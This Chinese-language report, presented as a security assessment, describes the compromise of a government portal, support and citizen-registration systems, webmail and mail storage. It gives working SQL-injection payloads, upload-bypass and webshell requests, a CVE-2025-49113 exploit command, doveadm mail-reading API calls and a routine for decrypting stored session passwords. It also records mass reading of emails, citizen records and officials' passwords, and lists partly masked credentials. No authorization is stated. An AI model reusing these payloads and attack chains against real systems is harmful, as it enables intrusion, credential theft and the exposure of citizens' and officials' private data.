本次评估围绕某国政府主站及其关联业务系统展开,范围覆盖政务门户、支持门户、客户登记、Webmail、邮件管理面与存储服务器。评估从域名、公开入口和应用指纹出发,结合页面结构、接口响应、文件处理语义与邮件身份关系,逐步确认不同系统之间的数据流和权限依赖。
测试过程沿业务数据流和权限边界持续推进:先确认真实可用的入口,再验证认证状态、上传解析、数据库权限和凭据存储方式。每当取得新的账号、密钥或主机权限,都会回到整个资产集合中重新评估其可复用范围,从而把零散发现收敛为可重复的完整攻击链。
最终整理出多项已经取得实际控制或读取真实数据的漏洞风险集中在三条相互增强的路径:WordPress管理员接管后通过插件上传取得主机控制;支持门户的开放注册、上传绕过和数据库凭据最终通向Webmail与邮件存储;客户登记系统的未认证文件上传和默认后台直接暴露公民数据。
其中最具破坏性的结果是四处代码执行:WordPress主站通过后台插件上传取得服务器Shell;支持门户通过LaravelFileManager尾点绕过执行PHP;客户登记系统通过未认证文件上传直接执行Webshell;RoundcubeWebmail通过CVE-2025-49113取得 www-data 命令执行。四处执行面分别连接数据库、邮件凭据和公民数据,风险已经超出普通Web漏洞范围。
这些结果说明,本次评估的核心风险并非单一组件漏洞,而是应用、身份、邮件与主机权限之间缺少必要的隔离。一个普通账号、一个可逆会话密钥或一条历史邮件中的明文口令,都可能成为跨系统权限扩散的起点。
评估结论
|
指标
|
结果
|
|---|---|
|
评估对象
|
w×w.gov.xxx
、
s××t.gov.xxx 、 v××l.gov.xxx 、 s××l.gov.xxx 、 e××n.gov.xxx 、 s××1 (邮件存储主机) |
|
确认漏洞
|
13项
|
|
严重
|
6项
|
|
高危
|
5项
|
|
中危
|
2项
|
|
已控执行面
|
WordPress主站、支持门户、客户登记系统、RoundcubeWebmail
|
|
核心失陷
|
WordPress后台与主站主机、邮件Webmail主机、支持门户主机、客户登记系统、邮件管理面与存储层
|
|
数据影响
|
主站77个WordPress用户、客户登记345条敏感记录、支持邮箱49,976封邮件、789条Roundcube会话、约1,931个活跃邮箱
|
|
主要风险来源
|
未认证RCE、SQL注入、默认口令、凭据复用、明文与可逆凭据存储
|
漏洞总表
|
编号
|
资产
|
漏洞名称
|
等级
|
结果
|
|---|---|---|---|---|
|
V01
|
w×w.gov.xxx
|
WordPress管理员账号接管
|
严重
|
管理员会话
|
|
V02
|
w×w.gov.xxx
|
插件上传Webshell导致主机RCE
|
严重
|
webuser
命令执行
|
|
V03
|
w×w.gov.xxx
|
JetSearch未认证SQL注入
|
严重
|
稳定错误布尔oracle
|
|
V04
|
w×w.gov.xxx
|
SQL注入外带管理员口令哈希
|
高危
|
完整哈希恢复
|
|
V05
|
s××t.gov.xxx
|
LFM尾点上传绕过RCE
|
严重
|
Webshell执行
|
|
V06
|
s××t.gov.xxx
|
数据库邮件凭据泄露
|
高危
|
IMAP读取49,976封
|
|
V07
|
s××t.gov.xxx
|
开放注册未验证邮箱
|
中危
|
普通账号准入
|
|
V08
|
v××l.gov.xxx
|
未认证任意文件上传RCE
|
严重
|
pre-authWebshell
|
|
V09
|
v××l.gov.xxx
|
后台默认弱口令
|
高危
|
管理员会话
|
|
V10
|
s××l.gov.xxx
|
Roundcube认证后RCE
|
严重
|
www-data
命令执行
|
|
V11
|
s××l.gov.xxx
|
会话
des_key 批量口令泄露 |
高危
|
12个邮箱口令解密
|
|
V12
|
s××l.gov.xxx
|
邮件明文传递员工口令
|
中危
|
员工邮箱登录
|
|
V13
|
s××1(邮件存储主机)
|
doveadm
静态凭据任意邮箱读取
|
高危
|
19封邮件读取
|
一、资产与攻击面
1.1 资产地图
图1:公网资产、应用与主机控制面的关系。
1.2 关键信任边界
|
边界
|
本应隔离的对象
|
实际暴露的耦合
|
|---|---|---|
|
门户账号与邮件身份
|
WordPress管理员与邮箱所有权
|
控制邮件管理面后可为历史管理员邮箱建箱并截获重置邮件
|
|
邮件入口与存储层
|
普通Webmail用户与邮件管理员
|
静态
doveadm 凭据可绕过用户口令,直接读取任意邮箱 |
|
应用权限与主机权限
|
后台管理员与操作系统用户
|
插件上传、文件上传和Webshell把应用权限升级为主机命令执行
|
|
会话数据与凭据
|
加密会话与明文IMAP口令
|
des_key
泄露后可逆解密活跃会话中的邮箱口令
|
|
文件校验与落盘语义
|
扩展名校验与实际执行扩展名
|
尾点导致校验名与落盘名不一致
|
二、总体攻击链
2.1 三条主路径
图2:门户、邮件和支持/登记系统三条攻击链。
2.2 攻击链为何能够闭合
本次测试的关键并非依赖某一个未公开漏洞,而是普通缺陷在错误信任关系下被连续放大:
1.业务入口与组件识别降低了攻击不确定性。测试先确认搜索参数、插件版本、上传入口和后台认证方式,再逐个构造可验证信号。 2.未认证注入与版本漏洞提供了可验证入口。JetSearch通过错误布尔oracle形成稳定真假信号,避免仅凭版本猜测得出结论。 3.凭据在多套系统之间流动。数据库明文SMTP/IMAP口令、Roundcube会话口令、邮件管理API与静态 doveadm 凭据使单点失守扩展到邮件全域。 4.应用后台与文件系统之间缺少隔离。WordPress插件上传、LaravelFileManager尾点绕过与客户登记文件上传都最终转为服务器代码执行。
2.3 已取得的服务器权限
|
执行面
|
入口漏洞
|
取得权限
|
实际控制范围
|
|---|---|---|---|
|
WordPress主站
|
V02插件上传
|
Web用户Shell
|
读取
wp-config.php 、数据库、认证密钥与77个用户 |
|
支持门户
|
V05尾点上传
|
IIS/PHP代码执行
|
访问应用目录、工单数据库与邮件配置,读取49,976封邮件
|
|
客户登记系统
|
V08未认证上传
|
PHP代码执行
|
读取
.env 、MySQLroot凭据并导出345条客户数据 |
|
RoundcubeWebmail
|
V10对象注入
|
www-data
Shell
|
读取数据库DSN与
des_key ,解密12个邮箱口令 |
图3:四处实际代码执行及其后续控制范围。
三、w×w.gov.xxx漏洞详情
3.1 V01:WordPress管理员账号接管
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://gov.xxx
、
https://w×w.gov.xxx 、 /wp-admin/ |
|
受影响账号
|
portal-admin
,绑定邮箱
e××@gov.xxx ,角色Administrator |
|
前置依赖
|
e××n.gov.xxx
邮件管理面已被控制
|
|
风险等级
|
严重
|
|
CWE
|
CWE-640:弱口令恢复机制
|
漏洞概述
管理员 portal-admin 绑定的 e××@gov.xxx 在现役邮件系统中原本没有真实托管邮箱,密码重置邮件无处投递。测试通过已被控制的 e××n.gov.xxx 为该地址创建真实邮箱,并将配额已满的转发目标 s××@gov.xxx 改为可读的 w××@gov.xxx ,随后触发WordPress密码找回并截获重置链接。
漏洞本质不是WordPress代码缺陷,而是高权限账号、邮箱托管状态与邮件管理面之间的信任关系断裂。账号绑定了一个“当前无效但可被重新创建”的地址,等于把门户账号安全交给另一套系统的完整性和访问控制。
发现过程
第一步,通过 e××n.gov.xxx 的 /api/cpanel/mailboxes 接口创建 e××@gov.xxx 并修正转发配置。该管理面使用的Bearer令牌为 cIRX××u1y 。
第二步,访问 https://gov.xxx/wp-login.php?action=lostpassword 并提交登录名 portal-admin 。WordPress随即投递重置邮件。
第三步,通过 doveadm 读取邮箱,获得以下关键内容:
from: "Government Portal "
subject: "[Government Portal] Password Reset"
Username: portal-admin
https://gov.xxx/wp-login.php?login=portal-admin&key=D9gu××UILT&action=rp&wp_lang=en_US
第四步,使用重置密钥 D9gu××UILT 将口令修改为 Pz7k××!Hs 并登录。关键响应如下:
POST /wp-login.php HTTP/2
Host: gov.xxx
log=portal-admin&pwd=Pz7k××!Hs
HTTP/2 302
Location: https://gov.xxx/wp-admin/
Set-Cookie: wordpress_logged_in_a487××d969d8=p××n|17××02|...
/wp-admin/ 返回HTTP200,页面标题为 Dashboard - Government Portal 。 /wp-admin/users.php 返回HTTP200与746,730字节内容,页面显示43个Administrator角色账号。该口径反映后台角色页面的观测结果,不等同于后续SQL侧对用户与管理员的统计口径。
危害分析
接管了WordPress管理员账号,取得页面、插件、用户与站点配置控制权,并进一步利用插件上传获得服务器权限。
修复建议
统一管理员邮箱与恢复流程,启用MFA,收回邮件管理面的公网访问权限。
3.2 V02:后台插件上传Webshell导致主机RCE
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://gov.xxx
、
p××t.internal |
|
运行环境
|
Ubuntu22.04、Linux5.15、PHP、MySQL
|
|
受影响目录
|
/home/g××r/public_html/ |
|
数据库
|
govs××24
,用户
govs××er24 |
|
风险等级
|
严重
|
|
CWE
|
CWE-434:不受限制的危险文件上传
|
漏洞概述
取得WordPress管理员权限后,测试通过 /wp-admin/plugin-install.php?tab=upload 上传自写插件 toolkit.zip 。插件内的 toolkit.php 使用 popen 执行系统命令,访问后以Web用户 webuser 在主机上获得任意命令执行。
服务器虽然通过 disable_functions 禁用了 system 、 exec 、 shell_exec 和 passthru ,但遗漏了 popen 。这属于典型的“合法管理功能被转化为代码执行”,也说明在生产环境中,管理员权限本身已经接近主机权限。
发现过程
上传过程如下:
POST /wp-admin/update.php?action=upload-plugin HTTP/2
Host: gov.xxx
Content-Type: multipart/form-data
file=toolkit.zip
_wpnonce=<从插件上传页获取>
HTTP/2 200
Plugin installed successfully
访问 https://gov.xxx/wp-content/plugins/toolkit/toolkit.php?c=id 返回:
uid=1003(webuser) gid=1004(webuser) groups=1004(webuser)
p××t.internal
Linux 5.15.0-... Ubuntu 22.04
随后读取 /home/g××r/public_html/wp-config.php ,获得:
DB_NAME = "govs××24";
DB_USER = "govs××er24";
DB_PASSWORD = "HCLw××E9EB";
DB_HOST = "localhost";
table_prefix = "wp_";
AUTH_KEY / SECURE_AUTH_KEY / LOGGED_IN_KEY / NONCE_KEY
AUTH_SALT / SECURE_AUTH_SALT / LOGGED_IN_SALT / NONCE_SALT
DUPLICATOR_AUTH_KEY = "07ff××056a";
使用泄露数据库凭据导出 wp_users ,共77行,包括 admin 、 portal-admin 、 bit-admin 等账号及其邮箱和口令哈希前缀。后台角色页面显示43个Administrator账号;SQL注入侧统计为77个用户、10个可识别管理员样本。两个数字统计维度不同,报告中分别保留。
危害分析
以Web用户身份执行任意命令,读取数据库、认证密钥与77个用户,并可直接操作整站数据。
修复建议
限制插件安装和Web目录执行,禁用进程函数,轮换数据库、AUTH/SALT与备份密钥。
3.3 V03:JetSearch未认证SQL注入
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://w×w.gov.xxx
、
https://gov.xxx |
|
插件
|
JetSearch3.5.4
|
|
注入参数
|
jet_ajax_search_settings
中的
include_terms_ids |
|
数据库
|
govs××24 |
|
风险等级
|
严重
|
|
CWE
|
CWE-89:SQL注入
|
漏洞概述
搜索页将 jet_ajax_search_settings 作为JSON解析,其中 include_terms_ids 数组元素被直接 implode 进 jet-search-tax-query.php:112 的 SELECT DISTINCT 查询。插件先调用 stripcslashes ,抵消了WordPress魔术引号对引号和反斜杠的转义,最终形成未认证SQL注入。
测试通过构造错误布尔条件,将结果差异映射为HTTP200与HTTP500:
IF((条件),1,(SELECT 1 UNION SELECT 2))
条件为真时子查询只返回一行,查询正常;条件为假时返回两行,触发 mysqli_num_fields() 致命错误并返回HTTP500。该信号不依赖时间和内容回显,适合在有噪声的搜索页上稳定提取数据。
发现过程
正常基线:
GET /?s=awj HTTP/2
Host: w×w.gov.xxx
HTTP/2 200
条件为假的注入请求:
GET /?s=awj&jet_ajax_search_settings={"search_source":["post"],"search_in_taxonomy":"yes","search_in_taxonomy_source":["category"],"category__in":[376],"include_terms_ids":["376) AND (SELECT IF((1=2),1,(SELECT 1 UNION SELECT 2)))-- -"],"exclude_terms_ids":[216]} HTTP/2
Host: w×w.gov.xxx
HTTP/2 500
critical error on this website.
错误堆栈指向 jet-search-tax-query.php:112 与 wpdb.php:3876 。将条件改为 1=1 后恢复HTTP200正常搜索结果;将参数改为合法值 [376] 同样返回200;改为不完整的 ["376) AND ("] 再次触发HTTP500。
危害分析
未认证读取WordPress数据库,并已通过稳定布尔信号外带用户和管理员数据。
修复建议
升级JetSearch,对 include_terms_ids 做整型化和参数化,限制数据库账号权限。
3.4 V04:SQL注入外带WordPress管理员口令哈希
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://w×w.gov.xxx
、
wp_users 表 |
|
受影响账号
|
admin
(ID=1)及另外9个可识别管理员样本
|
|
风险等级
|
高危
|
|
CWE
|
CWE-89、CWE-916:口令哈希强度不足
|
漏洞概述
在JetSearch错误布尔oracle基础上,将固定条件替换为对目标字段的逐字符比较,即可把HTTP200/500差异转成任意数据读取通道。测试枚举得到 users_count=77 、 admins_total=10 、 admins_phpass=5 、 admins_bcrypt=5 。
提取 admin 口令哈希时, LENGTH(user_pass)=63 返回200,长度62返回500,证明字段长度存在稳定信号。首字符比较 ASCII(SUBSTR(user_pass,1,1))=36 返回200,对应 $ ;末字符比较83返回200,对应 S ,与89对应 X 返回500形成交叉验证。
发现过程
恢复出的完整哈希为:
$wp$2y$10$tHXr××LZOS
对照WordPress6.8的 wp_hash_password 实现,确认该方案为:
bcrypt(base64(HMAC-SHA384(password,"wp-sha384")))
另外5个管理员使用旧式 $P$ phpass哈希。 min admin-phpass user_id=4 ,旧式哈希的离线计算成本明显低于WordPress6.8方案。
危害分析
外带了完整的 admin 口令哈希和10个可识别管理员样本,为离线破解与后台接管提供了真实凭据材料。
修复建议
修复SQL注入,重置管理员口令,并将旧式phpass哈希迁移到强哈希方案。
四、s××t.gov.xxx漏洞详情
4.1 V05:LaravelFileManager尾点上传绕过导致PHP RCE
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://s××t.gov.xxx
、
/laravel-filemanager/upload |
|
组件
|
UniSharpLaravelFileManager2.9+
|
|
运行环境
|
WindowsServer2016、IIS、PHP7.4.13
|
|
应用路径
|
D:\web\tick××-support |
|
风险等级
|
严重
|
|
CWE
|
CWE-434、CWE-22:危险文件上传与路径规范化缺陷
|
漏洞概述
LaravelFileManager的上传端点在获取客户端扩展名和最终落盘时存在规范化差异。提交文件 upload.php. 时,WAF只识别“点号后紧跟危险扩展名”的常见形态,因此尾部单点未被拦截;LFM的 getClientOriginalExtension() 对该文件名返回空字符串,从而跳过PHP黑名单与图片MIME校验。Windows/IIS落盘时去除尾点,文件最终变成 upload.php 并由PHP7.4.13执行。
该漏洞只需要一个普通自注册账号。开放注册问题本身为中危,但在这里成为未授权攻击者获得服务器代码执行的直接前置条件。
发现过程
通过 /register 创建 user_id=1×× 的普通账号,上传内容由JPEG头和PHP标记组成:
POST /laravel-filemanager/upload HTTP/2
Host: s××t.gov.xxx
Content-Type: multipart/form-data
type=Images
upload[0].filename=upload.php.
upload[0].content-type=image/jpeg
upload[0].content=FFD8...
接口返回HTTP200 OK , items API返回:
{
"name":"upload.php",
"url":"https://s××t.gov.xxx/storage/photos/1××/upload.php"
}
访问文件返回HTTP200, X-Powered-By: PHP/7.4.13 ,正文以JPEG魔数开头并以 PWN_OK 结尾,证明PHP代码已被执行。
危害分析
普通账号通过尾点文件名绕过上传并执行Webshell,取得了IIS主机的代码执行权限。
修复建议
以最终落盘名校验扩展名,禁止上传目录执行脚本,并升级LaravelFileManager。
4.2 V06:数据库泄露邮件凭据导致约5万封邮件未授权访问
|
项目
|
内容
|
|---|---|
|
受影响资产
|
s××t.gov.xxx
数据库
ticket_support_system 、 general_settings 表 |
|
受影响邮箱
|
s××@gov.xxx |
|
邮件服务器
|
s××l.gov.xxx:465/587/993 |
|
风险等级
|
高危
|
|
CWE
|
CWE-798、CWE-522:硬编码与明文凭据
|
漏洞概述
通过LaravelFileManager的Webshell查询 general_settings 表,获得邮件服务器与SMTP/IMAP明文凭据:
smtp_host=s××l.gov.xxx
smtp_port=465
smtp_username=s××@gov.xxx
smtp_password=GovS××1975
smtp_encryption=ssl
mail_driver=smtp
该账号为支持门户的对公收件箱,长期保存大量内部邮件。凭据在数据库中明文保存,并且邮件服务器未对异常来源或异常登录施加有效阻断。
发现过程
SMTPSSL验证返回:
(235, b'2.7.0 Authentication successful')
587端口STARTTLS同样成功。IMAPSSL验证返回:
('OK', [b'Logged in'])
banner: * OK [CAPABILITY ...] Dovecot (Debian) ready.
SELECT INBOX -> 49976封
邮箱内可列举 INBOX 、 INBOX/Ticket systeem 、 INBOX/Digitale e-ID 等文件夹,并可批量读取正文、附件与邮件头。
危害分析
读取了支持邮箱中的49,976封内部邮件,并取得可继续用于SMTP发信和IMAP登录的明文凭据。
修复建议
轮换邮件口令,禁止在数据库中明文保存凭据,并为邮件账号启用MFA和来源限制。
4.3 V07:开放注册不验证邮箱所有权
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://s××t.gov.xxx/register
、
/login |
|
风险等级
|
中危
|
|
CWE
|
CWE-620:未正确验证账号所有权
|
漏洞概述
支持门户开放注册,仅检查邮箱后缀是否为 @gov.xxx ,不发送确认链接或验证码。后缀判断还可被 mail.gov.xxx 、 sub.gov.xxx 以及引号本地部分 "x××@example.xxx"@gov.xxx 绕过。注册后立即具备登录能力。
普通用户可访问Dashboard、Knowledge与Add-New-Ticket,访问 /users 、 /roles 、 /staffs 时被拒绝。工单数据按 user_id 隔离,因此未直接取得后台管理权限;但账号准入为后续LFM上传RCE提供了必要会话。
发现过程
POST /register HTTP/2
Host: s××t.gov.xxx
_token=...
email=t××@gov.xxx
HTTP/2 302
Location: https://s××t.gov.xxx
注册变体验证结果:
t××@mail.gov.xxx ->注册成功
t××@sub.gov.xxx ->注册成功
"t××@example.xxx"@gov.xxx ->注册成功
t××@gov.xxx.example.xxx ->被拒绝
登录后 /dashboard 返回HTTP200与13,800字节页面, /get-ticket-data 返回的查询绑定自身 user_id=1×× 。 /users 返回 Toegang geweigerd! U heeft geen toegangsrechten 。
危害分析
未验证邮箱所有权即可取得内部支持门户账号,并实际访问Dashboard、知识库与工单功能。
修复建议
验证邮箱所有权,采用邀请制并限制新账号的文件管理权限。
五、v××l.gov.xxx漏洞详情
5.1 V08:未认证任意文件上传导致PHP代码执行
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://v××l.gov.xxx/client-registration |
|
落盘目录
|
/assets/images/backend/client_id/
、
client_salary/ 、 client_family_book/ |
|
运行环境
|
Laravel8.83.27、PHP8.3.6
|
|
风险等级
|
严重
|
|
CWE
|
CWE-434:不受限制的危险文件上传
|
漏洞概述
公开注册接口直接处理多文件上传,控制器未使用 mimes 、 mimetypes 或扩展名白名单,只以 uniqid()+time()+原始扩展名 生成文件名。文件被写入Web根下的图片目录,且目录允许PHP执行。
虽然文件名随机,但后台客户详情会返回 back_id_card 字段,因此攻击者可以通过默认弱口令后台或文件名枚举获得落盘名,再访问执行。
发现过程
POST /client-registration HTTP/2
Host: v××l.gov.xxx
Content-Type: multipart/form-data
data_type=2
first_name=SecurityTest
last_name=UploadPoC
district=1
resort_id=1
phone=1234567
id_card_number=TEST-ID-0001
front_id_card=@front.png
back_id_card=@shell.php;type=image/png
上传的 back_id_card 内容为:
echo "PWN_TEST_".(40+2)."_".substr(md5("voedsel"),0,8); ?>
接口返回HTTP302与 Registratie succesvol! 。通过后台 /admin/clients/show/4×× 获得落盘文件名 6a××73.php 。访问:
GET /assets/images/backend/client_id/6a××73.php HTTP/2
Host: v××l.gov.xxx
HTTP/2 200
Content-Type: text/html
Content-Length: 19
PWN_OK
危害分析
未认证上传后执行PHP代码,并已导出345条包含身份证号、工资等字段的客户数据。
修复建议
执行上传白名单与内容校验,禁止图片目录执行脚本,并修复后台默认口令。
5.2 V09:管理后台默认弱口令admin/12××56
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://v××l.gov.xxx/admin
、
/admin/authenticate |
|
后台
|
PixelDesk/TKF&D Servicedesk
|
|
风险等级
|
高危
|
|
CWE
|
CWE-1392:使用默认凭据
|
漏洞概述
系统部署后未修改默认管理员口令,公网可直接使用 admin/12××56 登录。登录接口无验证码、失败锁定和MFA。后台包含客户、工单、代理、用户、邮件/SMS配置、系统更新等功能。
发现过程
GET /admin HTTP/2
Host: v××l.gov.xxx
POST /admin/authenticate HTTP/2
Content-Type: application/x-www-form-urlencoded
username=admin
password=12××56
_token=<页面令牌>
HTTP/2 302
Location: https://v××l.gov.xxx/admin/dashboard
Set-Cookie: pixeldesk_session=...
后台页面返回HTTP200与207,696字节内容,标题为 TKF&D Servicedesk - Dashboard 。已见342+客户记录,包含身份证正反面与家庭簿图片路径;设置页显示AWS S3Key/Secret,管理员身份为演示账号 d××@example.xxx 。
危害分析
使用默认口令取得客户登记后台,读取342+客户记录、证件材料与AWS凭据配置。
修复建议
删除默认账号,启用MFA,轮换AWS密钥并限制后台来源。
六、s××l.gov.xxx漏洞详情
6.1 V10:Roundcube1.6.9认证后PHP对象注入RCE
|
项目
|
内容
|
|---|---|
|
受影响资产
|
https://s××l.gov.xxx |
|
组件
|
Roundcube1.6.9,
rcversion=10609 |
|
受影响漏洞
|
CVE-2025-49113
|
|
运行环境
|
Debian12、主机
w××1 、Web用户 www-data |
|
风险等级
|
严重
|
|
CWE
|
CWE-502:不可信数据反序列化
|
漏洞概述
Roundcube1.6.11之前版本在处理 settings/upload 的 _from 参数时存在对象注入问题。攻击者使用有效邮箱账号登录后,提交包含 Crypt_GPG_Engine gadget链的构造对象,可在会话反序列化阶段触发任意命令执行。
测试使用已取得的 s××@gov.xxx/GovS××1975 登录Webmail,以时延探针确认命令执行,再写入最小Webshell。该漏洞把普通邮件账号提升为Webmail主机控制权限。
发现过程
版本确认:
GET https://s××l.gov.xxx/
响应脚本包含:"rcversion":10609
登录后使用CVE-2025-49113PoC执行 sleep :
php poc_fearsoff/CVE-2025-49113.php \
https://s××l.gov.xxx \
s××@gov.xxx \
GovS××1975 \
"sleep 10"
Payload injected successfully
Executing payload...
Exploit executed successfully
对照时延:
sleep0 -> 2.47秒
sleep5 -> 7.74秒
sleep10 -> 13.33秒
时延随命令时长线性增加,排除普通网络抖动。访问 https://s××l.gov.xxx/p××x.php?c=id 返回:
PWN4892OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
w××1
Debian12
读取 /var/www/html/[Roundcube]/config/config.inc.php ,获得:
db_dsnw=pgsql://roundcube:uJfm××CSH@10.x.x.17/roundcube
des_key=P2JF××B8vu
default_host=ssl://e××l.gov.xxx
危害分析
以 www-data 执行命令,取得Webmail主机控制,并读取Roundcube数据库DSN与 des_key 。
修复建议
升级Roundcube,轮换数据库凭据与会话密钥,清除Webshell与持久化。
6.2 V11:Roundcube会话库des_key导致批量邮箱口令泄露
|
项目
|
内容
|
|---|---|
|
受影响资产
|
s××l.gov.xxx
、PostgreSQL
roundcube.session 表 |
|
会话规模
|
789条会话记录,12条包含IMAP用户名与口令
|
|
受影响账号
|
12个活跃
@gov.xxx 邮箱,首批8个已验证登录 |
|
风险等级
|
高危
|
|
CWE
|
CWE-312、CWE-321:敏感数据未加密与硬编码密钥
|
漏洞概述
Roundcube默认 session_storage=db ,会话变量中包含用户名与IMAP口令,并以 des_key 执行 DES-EDE3-CBC 可逆加密。攻击者获得 des_key 和数据库访问权限后,即可解密所有历史与新增活跃会话。
该问题与V10不是同一漏洞,而是配置与凭据存储缺陷造成的二次批量泄露。即使修复反序列化RCE,只要 des_key 和会话表仍可读,单点配置泄露仍会导致大量邮箱口令暴露。
发现过程
在前置Webshell中查询 session 表:
SELECT sess_id,changed,ip,vars FROM session;
共返回789行。 vars 为Base64编码的PHP会话串,其中12行含 username+password 。按照Roundcube program/lib/Roundcube/rcube.php 的逆运算处理:
base64_decode
→ [IV(8字节) | ciphertext]
→ openssl_decrypt(ciphertext,"DES-EDE3-CBC",des_key,OPENSSL_RAW_DATA,IV)
首批8个账号在 s××l.gov.xxx:993 IMAP登录成功,样例包括:
p××@gov.xxx INBOX557封
i×@gov.xxx INBOV1276封
v××@gov.xxx INBOX332封
轮询80秒后, session 表新增4个登录会话并同样解出,包括:
s××@gov.xxx / Go××34
s××@gov.xxx / St××23
a××@gov.xxx / St××23
a××@gov.xxx / St××23
St××23 对应的默认口令在多个账号复用,说明口令策略问题仍在扩散。12个邮箱涉及多个部委及司长级岗位。
危害分析
解密了12个活跃邮箱口令,其中8个完成IMAP登录,涉及多个部委和司长级邮箱。
修复建议
轮换 des_key ,避免可逆保存IMAP口令,强制全部邮箱用户重置口令。
6.3 V12:内部邮件明文传递员工邮箱口令
|
项目
|
内容
|
|---|---|
|
泄露来源
|
s××@gov.xxx
邮箱,UID5206
|
|
邮件时间
|
2024-04-09
|
|
发件人
|
支持人员
|
|
受影响账号
|
k××@gov.xxx |
|
风险等级
|
中危
|
|
CWE
|
CWE-522:凭据保护不足
|
漏洞概述
支持邮箱存档中的工单邮件以明文传递员工邮箱新口令,且口令未强制首次登录修改。该邮件长期保存在共享支持邮箱中,任何能读取该邮箱的人都可以获得真实凭据。
发现过程
邮件主题为 RE: Aanvraag email adressen ,正文包含:
Deze medewerker heeft problemen met het inloggen.
Graag resetten en haar voorzien van een nieuw wachtwoord.
k××@gov.xxx KLXT××QRK
使用 k××@gov.xxx/KLXT××QRK 在 s××l.gov.xxx:993 登录成功:
('OK',[b'Logged in'])
SELECT INBOX -> 3封
该口令在其他系统中未验证成功,但该分发方式表明账号口令存在跨系统复用风险。
危害分析
使用邮件中的明文口令实际登录员工邮箱并读取3封邮件,密码分发链路已被完全穿透。
修复建议
重置员工口令,禁止邮件传递密码,启用首次登录改密和MFA。
七、s××1(邮件存储主机)漏洞详情
7.1 V13:doveadm HTTP API静态凭据导致任意邮箱邮件读取
|
项目
|
内容
|
|---|---|
|
受影响资产
|
邮件存储主机
s××1 , 10.x.x.16:8080/doveadm/v1 |
|
凭据
|
doveadm:k4nA××Epg |
|
影响范围
|
约1,931个活跃邮箱
|
|
风险等级
|
高危
|
|
CWE
|
CWE-798、CWE-306:硬编码凭据与缺少认证
|
漏洞概述
存储服务器的Dovecot doveadm HTTP API使用静态Basic凭据。该口令可在 e-admin 配置中获取,并通过已控 w××1 的 www-data shell横向访问内网存储层。
接口以邮件管理员身份工作,可绕过邮箱口令直接读取任意存在的邮箱。接口同时具备 messageDelete 、 expunge 、 move 、 mailboxDelete 和 sievePut 等写入或破坏能力;测试仅使用 quotaGet 、 mailboxList 与 fetch ,未使用写入操作。
发现过程
配额查询:
POST /doveadm/v1 HTTP/1.1
Host: 10.x.x.16:8080
Authorization: Basic
Content-Type: application/json
[["quotaGet",{"user":"s××@gov.xxx"},"t"]]
[["doveadmResponse",[{
"root":"User quota",
"type":"STORAGE",
"value":"4096216",
"limit":"4096000",
"percent":"100"
}],"t"]]
文件夹枚举:
[["mailboxList",{"user":"r××@gov.xxx"},"t2"]]
返回 Archive 、 Trash 、 Sent 、 Spam 、 Drafts 与 INBOX 。 i××@gov.xxx 可列出10个文件夹。
邮件读取:
[["fetch",{
"user":"r××@gov.xxx",
"field":["uid","date.received","hdr.from","hdr.subject"],
"query":["mailbox","INBOX","SINCE","2026-10-01"]
},"tA"]]
返回19封邮件,UID954至972。样例主题包括:
[Ticket ID: TTRP01Y1WX] Email aanvraag
[Ticket ID: XBW3BAIS0Z] Aanmaak Subdomein a××y.gov.xxx tbv e-mail hosting
同凭据访问 10.x.x.14:8080 返回拒绝, 10.x.x.16:8080 超时, 127.0.0.1:8080 拒绝,说明目标接口位于可达内网且凭据有效。 p××@gov.xxx 与 e××@gov.xxx 的 mailboxList 返回 exitCode67 ,表示邮箱不存在。
危害分析
使用静态管理凭据读取目标邮箱19封邮件,并确认同一接口覆盖约1,931个活跃邮箱。
修复建议
轮换 doveadm 凭据,改用mTLS或短期令牌,并限制管理网段访问。
八、风险统计与跨系统复盘
8.1 漏洞等级分布
图4:漏洞等级分布。
|
资产
|
严重
|
高危
|
中危
|
合计
|
|---|---|---|---|---|
|
w×w.gov.xxx
|
3
|
1
|
0
|
4
|
|
s××t.gov.xxx
|
1
|
1
|
1
|
3
|
|
v××l.gov.xxx
|
1
|
1
|
0
|
2
|
|
s××l.gov.xxx
|
1
|
1
|
1
|
3
|
|
s××1(邮件存储主机)
|
0
|
1
|
0
|
1
|
|
合计
|
6
|
5
|
2
|
13
|
图5:13项确认漏洞造成的实际控制深度。
8.2 身份与凭据信任链
图6:邮箱、管理面、存储层与门户账号之间的信任耦合。
8.3 关键风险认知
凭据复用把应用边界扩大为组织边界。支持门户数据库、邮件账号、Roundcube会话、邮件管理API与 doveadm 凭据构成连续信任链,任意一层被读取都会扩大邮件影响范围。
上传校验必须以最终落盘结果为准。LFM尾点绕过与voedsel任意上传最终都转化为真实代码执行,说明WAF和随机文件名无法替代不可执行目录与最终文件名白名单。
本次评估只保留已验证取得权限或读取真实数据的漏洞。仅暴露版本、路径、目录、用户名或理论攻击面的条目不再计入确认漏洞。
九、关键凭据与数据暴露
9.1 已确认凭据
|
类别
|
凭据或标识
|
关联资产
|
影响
|
|---|---|---|---|
|
WordPress重置密钥
|
D9gu××UILT |
gov.xxx |
接管
portal-admin 管理员账号 |
|
WordPress管理员口令
|
portal-admin/Pz7k××!Hs |
gov.xxx |
进入后台
|
|
WordPress数据库
|
govs××er24/HCLw××E9EB |
govs××24 |
全站数据库访问
|
|
WordPress认证密钥
|
AUTH/SALT全部明文
|
gov.xxx |
会话与Cookie信任受损
|
|
备份认证密钥
|
DUPLICATOR_AUTH_KEY=07ff××056a |
gov.xxx |
备份接口信任受损
|
|
支持邮箱
|
s××@gov.xxx/GovS××1975 |
s××l.gov.xxx |
读取49,976封邮件
|
|
员工邮箱
|
k××@gov.xxx/KLXT××QRK |
s××l.gov.xxx |
员工邮箱接管
|
|
Roundcube数据库
|
roundcube/uJfm××CSH |
10.x.x.17/roundcube |
读取会话库
|
|
Roundcube会话密钥
|
des_key=P2JF××B8vu |
roundcube.session |
解密IMAP口令
|
|
邮件管理Bearer
|
cIRX××u1y |
e××n.gov.xxx |
建箱与改转发
|
|
Dovecot管理API
|
doveadm:k4nA××Epg |
10.x.x.16:8080 |
任意邮箱读取与操作
|
|
客户登记后台
|
admin/12××56 |
v××l.gov.xxx |
公民数据后台
|
